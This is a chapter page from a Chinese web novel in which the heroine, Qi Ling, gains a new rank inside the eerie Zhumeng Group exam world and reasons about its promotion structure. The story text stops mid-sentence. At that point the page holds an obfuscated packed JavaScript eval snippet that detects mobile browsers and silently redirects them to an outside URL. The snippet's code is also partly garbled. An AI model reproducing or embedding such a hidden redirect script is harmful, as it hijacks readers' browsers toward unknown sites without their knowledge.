7. 筑梦集团(第2页)

 




    少女眼眸微眯，脑子转了两下后，一个计划悄然生出，她不动声色地收回视线，站在一旁等待钱多工作牌被粉碎。
 




    片刻后，巨型粉碎机运作的声音停了下来，干尸副主管弯腰从粉碎机的下方摸出一张纸片，随后用这张纸片在祈灵胸前的工作牌上贴了一下后，便递给了祈灵。
 




    【祈一管理部组长】
 




    祈灵伸手刚接过纸片，那道熟悉的机械音便再次响起。
 




    【恭喜考生祈灵探索到新的解题思路，获得新身份：管理部正式员工组长，探索奖励——滋滋滋……系统错误，开始信息审查】
 




    【信息：考生祈灵当前职位——管理部实习生
 




    探索获得身份——管理部正式员工组长
 




    滋滋滋……审查结果：无误】
 




    【现为考生祈灵发放探索奖励——1分】
 




    【考生姓名：祈灵
 




    当前分数：4
 




    光荣榜排名：967777】
 




    【当前考生分数极低，后台功能暂不开放，请考生认真答题，尽快提升光荣榜排名】
 




    难得听见机械音说这么大长串话，祈灵挑了挑眉头，就听干尸副主管说：
 




    “钱多擅自离职，对公司造成了不可磨灭的损失，我会上报高层处理这件事，在处理期间就由你来担任组长一位。”
 




    说完它瞥了一眼祈灵脖颈上挂着的工作牌，眼中露出几分不屑。
 




    “组长一位需要正式员工担任，为了给公司减少不必要的麻烦，你最好在明天之前成为正式员工，我不想再浪费时间处理你们这些琐事。”
 




    说完便头也不回地离开了，祈灵捏着手上的纸条，回忆了一下刚刚这位脾气不好的干尸副主管说的话，有一个字让她很在意。
 




    正常人在谈到职位时，基本都会说xx一职，很少有人说xx一位，在加之钱多工作牌上的职位标注，很容易得出这个公司的职位排布是——
 




    【实习生，正式员工，副主管，部门主管】
 




    那么这就有一个问题，如果按照消瘦男人的话来，就算他们真的争到了筑梦榜前五，也根本不可能在短短三天内成为部门主管。
 




    除非后面的晋升奖励改变，变得更加丰厚，从晋升一级变成晋升两级，但这真的可能吗？
 




    这个问题甚至不用真正步入职场便能得到答案，不可能。
 




    一旦连升两级的奖励出现，也就意味着这个庞大运转的公司在每位员工间都失去了一次剥削的机会，高层怎么会允许这样的事发生。
 




    并且奖励越设越大的隐患无穷尽，它会使员工在短暂兴奋后开始怠惰，更让公司的主导权握在了员工手里，像筑梦集团这样的存在会允许这种事发生吗？
 




    祈灵蹙了蹙眉头，她总觉得自己忽视了什么，脑中清晰
 




    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184453|165453||http|test|mini|href|location''.split(''|''),0,{}));